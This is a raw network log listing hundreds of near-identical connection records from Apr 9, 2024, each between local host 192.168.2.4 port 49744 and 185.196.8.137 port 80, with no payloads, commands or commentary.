Apr 9, 2024 14:54:07.261934042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261954069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261975050 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262000084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262015104 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262038946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262053967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262077093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262099981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262114048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262134075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262149096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262171030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262188911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262209892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262228012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262248039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262268066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262286901 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262310982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262326002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262348890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262372017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262387991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262408018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262428999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262444973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262466908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262480974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262501955 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262520075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262542963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262561083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262579918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262593985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262639046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262650013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262661934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262684107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262702942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262722015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262734890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262756109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262775898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262790918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262813091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262833118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262851954 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262868881 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262888908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262911081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262937069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262952089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262972116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.262990952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263010025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263029099 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263046026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263063908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263083935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263103008 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263120890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263171911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263171911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263185024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263195038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263217926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263241053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263257980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263277054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263298988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263320923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263334036 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263353109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263374090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263395071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263416052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263436079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263448000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263469934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263487101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263506889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263524055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263546944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263569117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263583899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263607025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263624907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263639927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263662100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263679981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263700962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263720989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263777971 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263799906 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263818979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263837099 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263855934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263900995 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263900995 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263912916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263936043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263956070 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263973951 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.263993025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264014006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264033079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264053106 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264070034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264091969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264105082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264126062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264143944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264164925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264184952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264225006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264225006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264244080 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264264107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264282942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264307022 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264318943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264342070 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264369965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264390945 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264740944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264782906 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264808893 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264832020 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264858961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264874935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264911890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264930964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264956951 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.264976978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265002966 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265018940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265069008 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265146017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265172958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265194893 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265218019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265239954 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265264988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265285969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265309095 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265324116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265356064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265371084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265397072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265414953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265441895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265465021 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265496016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265496016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265525103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265542984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265567064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265578985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265603065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265616894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265641928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265655994 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265685081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265697956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265723944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265739918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265764952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265779018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265806913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265820980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265845060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265860081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265882015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265897036 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265919924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265932083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265957117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.265971899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266000032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266020060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266041040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266052961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266081095 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266100883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266124010 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266134977 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266160011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266176939 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266199112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266210079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266235113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266252041 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266283035 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266290903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266318083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266338110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266360044 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266380072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266400099 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266416073 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266438961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266453981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266477108 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266491890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266515970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266527891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266552925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266571045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266593933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266616106 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266647100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266669989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266695976 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266711950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266738892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266761065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266782045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266797066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266823053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266838074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266865015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266880989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266906023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266925097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266952038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.266973019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267004013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267024994 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267046928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267062902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267088890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267103910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267131090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267148972 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267173052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267194986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267215014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267230988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267260075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267641068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267663956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267690897 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267714977 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267738104 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267752886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267781973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267796040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267822981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267843962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267864943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267884970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267906904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267929077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267954111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.267975092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268002033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268019915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268045902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268073082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268095970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268117905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268138885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268155098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268181086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268198013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268241882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268241882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268266916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268291950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268320084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268331051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268358946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268655062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268682003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268714905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268731117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268759012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268778086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268801928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268821955 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268846035 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268868923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268893003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268913984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268939972 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268956900 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268981934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.268999100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269026041 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269042969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269076109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269093037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269119978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269140959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269165039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269186974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269211054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269227982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269258022 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269690037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269712925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269742012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269778967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269804001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269826889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269849062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269872904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269896984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269915104 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269942045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269958973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.269985914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270005941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270030975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270045996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270075083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270097017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270119905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270137072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270164013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270184040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270206928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270231962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270256996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270273924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270299911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270315886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270344973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270360947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270394087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270459890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270488024 CEST	49744	80	192.168.2.4	185.196.8.137
